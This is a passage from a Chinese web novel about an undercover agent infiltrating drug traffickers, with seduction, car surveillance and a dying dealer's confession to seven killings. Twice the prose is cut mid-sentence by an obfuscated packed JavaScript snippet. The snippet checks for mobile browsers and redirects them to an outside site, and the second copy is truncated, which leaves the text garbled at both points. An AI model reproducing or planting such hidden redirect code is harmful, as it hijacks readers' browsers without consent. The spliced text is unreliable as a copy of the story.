这是双握笔的手,除了右手中指处有抵着笔杆的薄茧,她的手白皙细腻,指甲干净,指骨很纤细。 这双手肯定没功夫,也没握过抢。 什么人有什么特征,沈宗野还是看得很准。 梁然拧开矿泉水重新倒进水壶里,按了煮水键。 沈宗野勾起薄唇,她的确很符合一个大美女的全部特征,只是不知道向邬道把她放到他这里的最终目的是什么。 滚水咕噜沸腾,薄薄的白色水汽腾升在他们之间。 梁然看了下茶叶:“你喜欢熟普?” “别人送的。” 梁然说:“我觉得生普更适合你。”她取了小块茶叶放到盖碗里,沿着杯子边缘低低冲进滚水,等洗茶的短瞬间,她抬头看沈宗野,微微抿了抿红唇。 沈宗野说:“你很懂茶道?” “还好,看过别人喝。”十几秒的醒茶时间也到了,梁然握着盖碗边缘,将茶汤倒掉,重新注入沸水。 她的手法很娴熟,将重新泡好的茶都倒入公道杯里,对沈宗野说:“现在你可以请我喝茶了。” 沈宗野发出一声闷笑,端起公道杯里的茶倒给梁然。 不过八月末,窗口的晚风已经透着昼夜温差的凉意。他们各自喝着杯子里的茶,茶汤很烫,茶香也厚,可这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14964873|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被年份与岁月堆沃出的陈味他们各自都不喜欢。 沈宗野始终扮演着一个完美的犯罪者,伪善在他身上淋漓尽致。 他低笑一声,似真诚似敷衍,说梁然的茶很好。 梁然放下杯子,看了眼大开的窗户:“风好大。” “那你进来关掉。” 沈宗野转着手上精致的闻香杯,幽深的眼睛里是雄性充满侵略的光。他勾着薄唇,始终带着一种恣肆的淡笑。 梁然望着他,是很长的几秒,她弯了弯红唇,绕过他的办公桌走到他身后,关掉那扇窗。 她转过身,沈宗野生笑的眸子正落在她身上。他端坐的角度,双眼刚好触及她的腰,他就这么看着她,充满兴致的双眸一动不动。 梁然:“你今天好像很高兴?” 沈宗野望着桌上那尊观音像:“你找的观音我挺喜欢。” “我也很喜欢,就因为这个?” 观音像做好后,沈宗野早上送到了董自新那里。 董自新见到观音的瞬间有短暂震撼,这在以往沈宗野找来各种观音像时是不曾发生的。 董自新的态度要好了一些。中午沈宗野接到董自新的电话,说老太太喜欢他送的观音像,问他怎么找到的。他们短暂在电话里聊了几句,董自新虽然什么都没表示,但观音像找对了,沈宗野解决了一个难题,董自新自然能看到他的诚意。 “我喜欢这尊观音,找到喜欢的东西当然该高兴。”放下茶杯,沈宗野站起身来。 闻香杯底部太浅,他起身的身体碰到桌沿,杯子在轻微的晃动里倒下,茶汤顷刻泻出来,眼见要流到沈宗野的裤子。 梁然拉住了他手腕。 沈宗野往前一步,身体没再碰到桌沿,黑色衬衫近到摩擦到梁然的肢体,茶水顺着刚才他站的地方滴答流到地面。 梁然抬起脸。 沈宗野的下颌骨轮廓清晰,突起的喉结细微滚动,他的脖子上有大动脉起伏的跳动。 梁然盯着皮肤下隐约的青筋,一种疯狂的复仇心理急速滋长,又在理智下压抑克制。 此时此刻,她是不是成功接近到了沈宗野?他们之间这样近的距离,他从前绝对不会允许。 她的手没有松开,而是顺着沈宗野的手腕轻轻滑进他掌心,手指缠进他指尖缝隙,拇指带着一种挑逗的摩挲。 沈宗野低笑着垂眸看她,并没有拒绝。 梁然眼里也生起笑,迎上他充满雄性侵略的幽深眼眸。 桌上的水壶在定时煮水的程序里沸腾,窗外依稀传过来仓库那边喝酒的吵闹声,门外的窗都开着,有风涌动进来,吹动梁然的裙摆。 异性之间这种超过十几秒的凝视,足够代表成年人的不言而喻。 梁然勾住沈宗野的脖子,踮起脚尖。 沈宗野弯下腰,手掌落到她腰际。 梁然鼻尖抵上了沈宗野的鼻尖,垂眼时睫毛压抑着不可控的颤动,望着他勾起的薄唇,她偏下头去。 他偏过了头低笑:“取的肋骨还是做的环吸啊。” “腰真细。” 他的手掌烙在她腰上,游走里都是滚烫的烙印,湿热的呼吸也在梁然耳边。 “就不能是我自己天生的。”梁然握住他烙在她腰间的手掌:“你喜欢吗?” 沈宗野居高临下睨着她仰起的脸,手掌轻而易举握住这一段细腰。 梁然的身材比例实在太过完美,她拥有漫画里的折角腰,腰臀的比例实在太过性感,总容易让人以为是取掉了肋骨做的定制形状,又或者是做了环吸抽脂。 这样特殊的气氛,梁然竟然会有些想冷笑,他不愧坏到透顶,懂得还挺多。 她勾住他脖子,再次踮起脚尖。 她的唇没能落到沈宗野薄唇上,他侧到她耳边,低沉的嗓音充斥她耳道:“照片是故意给我看的吗?” “什么?” “那天的照片,穿着睡衣对镜子拍的那张。” 梁然心脏沉沉地跳动着,梁幸均的脸浮现在她眼前,灵堂里他变成一个冰冷的木盒子。 她闭了闭眼,用亲吻回答沈宗野。 她的唇贴上了沈宗野薄唇。 他的嘴唇很凉,在她的主动里亲了亲她,却并没有张唇接纳她的舌吻。 沈宗野把玩着她的腰,摩挲的动作烙下痒意。 水壶冒着的热气腾升在他们中间,丝丝缕缕的雾气让一切如真似幻。 沈宗野的眼眸恣意、微凉。梁然望着他放荡不羁的这双眼。 他说:“你看见了,我是个糙人,跟着我不会有什么好下场。” “可我愿意。” 20. 第 20 章 离开沈宗野的公司时,梁然被他开车送回酒店。 她的车还停在「云上人间」,沈宗野说会让人替她开过来。 回到酒店房间,梁然走进浴室望着镜子。 镜子里的人漂亮、冷静,白皙的皮肤下透着一层潮红。那当然不是因为和沈宗野接吻所致,是她压抑的激动与仇恨。 梁然望着镜子很久,眼里的仇恨那么浓烈,她看着饱满而红的嘴唇,无所谓地笑了笑,低头拧开水龙头,挤满牙膏刷了两遍牙。 …… 北方的夏季过得太快,初秋的夜晚气温格外凉。 沈宗野回到公寓,打开房门的瞬间,晚风从阳台穿过,对流的冷风卷落桌子上的薯片袋子。 谢天明捡起掉落在地上的几片薯片炫进嘴里,一点不介意干不干净,关好阳台的窗。 沈宗野径直走进卫生间。 谢天明问:“怎么样?” 沈宗野没回答,先漱完口才说:“还能怎么样。”将牙刷丢进漱口杯,他对镜子洗了把脸。 谢天明靠着门吸手上的AD钙奶,忍俊不禁:“洁癖这么重啊,人家是美女。” 沈宗野没说话。 “想想咱牺牲还蛮大的。”谢天明一本正经算账。 沈宗野拉了下衬衫闻,依旧是最初遇到的那股冷清的花香气,但如今香气也变得恶劣起来。 他回房间换了衣服,将衬衫丢到洗衣机:“去看过老万了?” “我没能进屋,他小弟说他情绪很不好。” 沈宗野眸光一深。 第二天,云肖说车子已经给梁然开回去了,都安装好了。 沈宗野打开云肖分享过来的一个程序,地图上,梁然的坐标开始从酒店一点点变动,停在一家粤式早茶店。 他点开音量播放,传来一声关门声和锁车的声音。 他在梁然的车上装了定位和监听器。 摁灭手机,沈宗野出门去看老万。 一院对面这栋楼住了很多外地来看病的人,大部分都是癌症病人。老万的三楼却少有人至,老万忌讳生人,把整个三楼租下来了。 开门的是老万如今唯一一个跟在身边照顾的小弟,姜义。 见是沈宗野,姜义才开门让沈宗野进去。 姜义和沈宗野同样的年龄,体格高挑健壮,五官端正,看外表绝对看不出是个心狠手辣的毒贩。老万说姜义是他的刀,也是他绝对信任的人。 沈宗野走进客厅问:“万哥这几天怎么样?” “不太好。” 姜义是忌讳沈宗野的,一方面因为毒贩惯有的疑心,一方面更是因为老万这些年积攒的财富和人脉。但对老万这件事上,他还是很尊敬老万,没有为难过沈宗野。 他看了眼卧室紧闭的门,低声说:“主治医生说癌细胞已经扩散到肺部了,万哥他很痛苦。” 沈宗野来到卧室门口,姜义敲门说:“万哥,沈宗野来看你了。”没听到拒绝,他打开了房门。 沈宗野走进房间。 卧室地上铺满了人民币和金条,大床上也全是人民币和缅元。 床上的中年男人面黄肌瘦,腹部却因为腹水鼓得很大。他躺在一堆人民币上,手里抓着几根金条,枕头边是氧气瓶。 上次沈宗野来时,还没见老万到吸氧的地步。 老万叫李万金,是老单察觉自己要倒台后叮嘱沈宗野来投靠的中间人,老单希望老万把沈宗野介绍给董自新,倒不是因为老单有多器重沈宗野,而是想让沈宗野为他报仇。 沈宗野找到老万时,他才刚刚检查出肝癌中晚期,一边化疗一边等着肝·源移植。 可两个月的等待,如今病情越来越重,上周沈宗野过来时,姜义告诉他如果再没有合适的肝·源,老万的身体就没有换·肝的必要了。 “随便坐,你坐那堆金条上。” 老万蜷着枯瘦的身体,冲沈宗野咧嘴笑,他的笑很僵硬,皮包骨的五官也透着一种恐怖。他说:“没坐过这么多金子吧?哈哈哈!” 沈宗野坐到老万说的位置,笑了笑:“没坐过也没赚到过。” “你才二十五岁,还有机会赚。我二十五岁的时候已经在孟邦修起别墅了,那会儿是我走货赚的第一桶金。” 老万从身下人民币里坐起身,抛给沈宗野一根金条:“猜猜多重?” “五百克。”沈宗野凌空接过。 老万哈哈笑,说“真准”。他一边抓过氧气瓶吸氧,一边和沈宗野说起年轻时那些事。 沈宗野把带来的保温盒放到老万床头。床头柜上摆满了散乱的百元钞票和缅元,绿色保温盒也只能放在那些钞票上。 “给你带了点药膳。” “吃不下。”老万摇头,“全身都痛啊。” 沈宗野:“中药炖的,喝点吧。” 老万这才慢慢吞吞去接食盒。 姜义一直在门口看着,如今对沈宗野也算放心,他说:“你帮我看一会儿,我去医院拿个报告。”他又嘱咐老万有事就给他打电话,他马上就回来。 沈宗野拽了把椅子坐到老万床前。 保温饭盒里是大鱼炖的粥,加了好几味肝癌病人有益的中药。 老万勉强喝了几口:“感觉浑身都有劲了。”他抬头,黄疸让整张脸都泛着黯黄,他哈哈笑着,“这劲儿都能玩个女人了。” 沈宗野陪他抿了抿笑。 “你玩过多少女人啊?我都数不清了。”老万陷入了回忆里面,说起他年轻的时候玩过的那些女人。 沈宗野听着这些肮脏污秽的语言,他办案时听过很多,但都没有老万这个快死的癌症患者这么肮脏罪恶。 他没证据抓捕老万。 接触的这两个月,老万也是半个月前才对他建立起信任。 老单说老万是只十分狡猾的狐狸,贩毒的这些人谁没几条命案,但老单从没杀过人,把贩毒藏起来他就是个干干净净的公民,警察根本查不到他一点犯罪记录。 沈宗野原本想在老万死之前查到他一些罪证,上回有一点线索,他在附近蹲守了一个星期还是没任何收获。 老万还说着女人,眼神忽然慢慢黯下来,望着满屋子的钞票和金条:“突然后悔了,没个孩子。” “要是有个孩子,现在他是不是得在我跟前尽孝啊。我挣的这么多钱也都能给他。”老万的表情痛苦懊恼,“要是当年没弄死那个娃娃就好了。” 沈宗野心上一动。 他眸光依旧,如常低笑:“单哥说你可没人命,手上干干净净,要我跟你学。” “谁说我没有,我弄死了个娃娃。”老万笑着比划,“这么大,两个月的男婴!本来是我儿子。” 沈宗野如常地把饭盒给老万:“再喝点吧。” 他当然想继续挖下去,他正愁没有老万犯罪的线索。但他始终很冷静,仿佛这种杀人的事情听来已经是寻常便饭。 老万推开饭盒,见沈宗野没有任何波动,他急切地说:“说不准他真的是我儿子!” 他果真说起这段往事。 年轻时他让一个足疗妹怀孕了,虽然都是逢场作戏,但对孩子也算期待,给人请了保姆养胎,对那女人也没亏待。 “老子给她花不完的钱,她要金子老子就买金子,大冬天要吃雪糕,老子就喊手下给她买雪糕,她弟结婚要彩礼,老子给彩礼。她老娘,她爸,她妹,她一家五口人老子都给她养起来了,但她妈的背着我养男人!拿着我的钱养男人!” 老万说那女人怀孕的时候他就在院子里看到了那个男人,女人解释过去了。 后面儿子生下来,女人就要他给一笔坐月子的钱,老万有了儿子倒很爽快,当时给了很大一笔,但女人话里话外说钱不够。老万起了疑心,设了个局,才知道女人带着小白脸要跑。 “老子不会给别人养儿子!敢骗我,她真是在找死!我弄死了她一家五口,还有那个野男人,还有那个娃娃。我亲手弄死的,五十克冰,哈哈都没哭几声。”因为激动,老万喘息了好久,抬起狞笑的脸,冲沈宗野数手指,“七个人,七条人命。” “真他妈晦气,让老子手上沾血。” 沈宗野勾起薄唇笑了。 无数次面对毒品的阴暗面,无数次接触罪恶的亡命之徒,他从不敢松懈于这条隐蔽线上的一环一扣。他的眼底充斥着嗜血的兴奋,仿佛嗅到了同类的气息,微微俯身离老万更近,薄唇边的笑都是赞许。 “看不出来我的老哥哥,死了就死了,你身体要紧。” “可我没有儿子。”老万扭曲的笑容变得很痛苦,仿佛终于懂得了忏悔,“也许那真的是我的儿子,这些年我玩了那么多女人都没再有过孩子。” 沈宗野安慰他,想了想说:“别去想了,如果实在觉得有什么机缘,找个会看的先生给超度吧,认到你名下,也攒点福报。” 老万一愣,紧望沈宗野的眼神激动而雀跃,仿佛这真的是一个极好的方法。 可他忽然逐渐冷静,笑了笑说无所谓,拿过氧气瓶吸氧。 沈宗野不动声色留意老万的举动。 老万放下氧气瓶,说回沈宗野:“董自新接受你了?” “还没有。”沈宗野挺无奈,“他家老太太的观音像我倒是找到了,董老板只是对我客气了些,没进度。” “董自新这个人这么多年藏得干干净净,他不会平白无故让你一个陌生人知道他不干净。”老万说:“等着吧,你只要让他信任你,他会给你机会。” “万哥,那我接下来应该做什么?”沈宗野认真地问。 “什么也不做。”老万说:“我现在没那么大面子了,他能见你也算给了我脸面,我也只能帮你到这儿。” “别这么说,你的恩情我记心里了。” 老万笑:“那以后记得多给我烧纸。” 沈宗野多么惋惜,同情。目光流连在老万枯瘦的脸上,那么不忍:“会有肝.源的。” 老万不想接这句话,望着沈宗野,目光从头扫到脚,不太赞同。 沈宗野的穿着没什么异常,跟往前的风格一样。他今天穿一件条纹衬衫,丝滑的哑光缎包裹着喷鼓的肌肉,领口纽扣没有系,露出泛着冷光的铂金项链。因为周身难掩的冷戾,他看起来是十足的不好惹。 老万说:“你穿这身不行,换个行头吧。董自新那儿干干净净,身边也都是干净人。” 沈宗野恍然大悟般:“我知道了,万哥你是我恩人。” 老万笑笑。 姜义还没取回医院报告,沈宗野搀扶老万起来活动,两个人坐在阳台又聊了会儿董自新,直到姜义回来。 沈宗野起身要走。 老万望着楼下车流穿梭,人来人往。那些人都健康地行走在阳光下,没有疾病,浑身充满了生命的活力。他忽然埋下脊梁哭了起来,暗哑的哭声像儿童的嚎啕大哭。 沈宗野和姜义安慰了好久。老万止不住这种哭泣,这种面对死亡的哭泣。 “我想活着,我还有那么多钱,我还不到五十。” “老天爷为什么要这样对我?我想活,我不想死……” …… 从老万那里出来,沈宗野开车来到公司。 大鱼端着新学的甜点想让他尝,沈宗野没空招呼,接过盘子说:“天明呢?” “在仓库发货呢,肖哥玩了个直通车,今天咱生意不错。” “让他来见我。” 沈宗野回到他的办公室,关掉了屋里的监控。 手机上有新的消息提示,是梁然两个小时前发的微信,他一直没看。 Zahe:「你在忙吗」 「宁城的秋天好早啊,今天好冷~」 「沈宗野,我来找你吧,你在公司吗?」 这句话是梁然十几分钟前发来的。 沈宗野打开追踪器的小程序,看清她今天所到的坐标,他眼底一片冷意,薄唇上却挂着淡笑。 梁然去了向邬道的那个红酒店。 沈宗野回复梁然:「在公司,你想来就来」 谢天明和云肖同时过来了。 云肖说:“哥,梁然今天去了乌鱼的地盘,你看没看定位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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沈宗野没有严肃地训斥谢天明,他只是笑了笑,知道谢天明抱怨完就会想明白,他用这种故作轻松的语气说:“也不是什么都不做,老万说咱们穿得太俗了,董自新面上干干净净,咱不能看着就不像个好人。” “我懂了!像乌鱼那样,西装革履的是不是?”谢天明的情绪去得快,找到新的方向,他的声音也有了动力,“换新装备嘛,可以可以,老万说的还真是。等我回来你给我搞套好西装!” 他说完就去着手沈宗野交代的事。 办公室安静下来,监控画面里,院子里徐徐停下梁然的白色汽车。 车门开了,一条细白的腿迈下来。 沈宗野视线从电脑屏幕上移开,重新打开办公室的监控电源。 办公室的门没有关,梁然走进来,手上拎着一个古典的袋子。 宁城的秋天来得早,今天气温格外凉,她穿着薄薄的米色风衣,长度盖到了腿肚,露出光洁白皙的小腿。风衣的材质像亚麻,微皱的质感,她穿在身上有一种素到极致的清冷高级。 沈宗野确实不明白梁然这种级别的美女怎么也会沦落到毒品里,甘心被向邬道收服。 但他从梁然的衣品上突然找了一点新思路,她的确很善于高级的伪装。 梁然对沈宗野笑了笑:“今天你很忙吗,都没有回我消息。” “嗯,上午没空。” 梁然看到桌上的盘子,里面放着一朵很漂亮的白色玉兰花:“这是甜品吗?” 沈宗野:“大鱼做的。” “我能尝吗?” 沈宗野说“随便”。 梁然刚捻到一片花瓣,边角就碎了,她很惊讶:“居然是炸的面食,我以为是真花裹的糖霜。”她吃完觉得不错,“你吃了吗?” “还没碰。” 梁然手撑在桌上,捻了一片花瓣喂到沈宗野嘴边。 “尝一下,很好吃。没想到大鱼不仅会做菜,还会做甜品,手艺真好。”她微微俯身,发梢扫着沈宗野手背。 沈宗野张唇吃了。 这种酥点太脆,残屑掉到一些在桌上,梁然用手耐心捡着。一切都很安静,窗外是工厂外道路上的汽笛声,偶尔有几声鸟叫。梁然很耐心,她的动作专注而认真,并不觉得把时间付诸在这样的小事上是浪费。 完美皮相的加持,她低头专注的眉眼有一种岁月静好的意思。 沈宗野迎合着她的演技,薄唇微挑,嗤笑她的动作,在她几次没捻起那些小碎屑时,抽了张纸巾覆上去,直接一擦,桌面顿时干净了。 他粗鲁的动作与她相比,似乎少了很多情趣。 “袋子里是什么?”沈宗野问。 “给你带的茶叶,冰岛古树生普。”梁然拿出袋子里的茶叶,是她特意去挑的。 她上午去买茶叶时,也去了一趟上次和向邬道见面的红酒店。 观音像起到作用,她想去“感谢”向邬道,或者明确一点,是想知道向邬道会再指引她下一步应该做什么。 上次她问沈宗野大拇指残疾的原因时,沈宗野说他也弄断了对方一根手指,她想到的自然只有向邬道。 向邬道在「云上人间」看到她在追沈宗野,所以想利用她的关系帮她,不,是帮他们自己的利益吧? 她不清楚向邬道为什么要这么做,但现在可以肯定的是沈宗野和向邬道是对头,而董自新可能是他们之间的一个关键人物。 向邬道利用她让沈宗野达到向董自新示好的目的,所以她想知道向邬道下一步是什么。 只要对沈宗野不好的事,那她就想去做。 梁幸均的相机里,她始终无法忘记沈宗野那双冷戾的眼睛。 可惜她到店里后向邬道不在,只有一个男人传话,告诉她“向先生说对梁小姐追求的那位男士了解不多,别的暂时没有帮到你的。您既然很喜欢那位先生,那您应该知道怎么对待喜欢的人。有机会向先生还会再来宁城旅游”。 梁然听懂了这个意思,不管有没有向邬道这个人的帮助,她都会按她原本的计划进行,让沈宗野爱上她。她知道一个罪恶滔天的毒贩没有心,即便沈宗野不会爱上她也没关系,只要能留在他身边哪怕一个月,两个月,她就有寻找他犯罪证据的机会。